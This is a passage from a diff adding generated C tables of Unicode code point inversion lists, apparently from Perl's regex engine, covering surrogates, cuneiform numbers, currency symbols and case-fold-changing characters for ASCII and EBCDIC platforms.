+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10840
+};
+
+static const UV PL_CS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD800,
+	0xE000
+};
+
+static const UV PL_CUNEIFORMNUMBERS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x12400,
+	0x12480
+};
+
+static const UV PL_CURRENCYSYMBOLS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20A0,
+	0x20D0
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_CWCF_invlist[] = { /* for ASCII/Latin1 */
+	1207,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0xB5,
+	0xB6,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xE0,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x345,
+	0x346,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3C2,
+	0x3C3,
+	0x3CF,
+	0x3D2,
+	0x3D5,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F2,
+	0x3F4,
+	0x3F6,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x587,
+	0x588,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9A,
+	0x1E9C,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F80,
+	0x1FB0,
+	0x1FB2,
+	0x1FB5,
+	0x1FB7,
+	0x1FBD,
+	0x1FC2,
+	0x1FC5,
+	0x1FC7,
+	0x1FCD,
+	0x1FD8,
+	0x1FDC,
+	0x1FE8,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF7,
+	0x1FFD,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AF,
+	0xA7B0,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1E900,
+	0x1E922
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CWCF_invlist[] = { /* for EBCDIC 1047 */
+	1227,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x59,
+	0x5A,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x80,
+	0x81,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x345,
+	0x346,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3C2,
+	0x3C3,
+	0x3CF,
+	0x3D2,
+	0x3D5,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F2,
+	0x3F4,
+	0x3F6,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
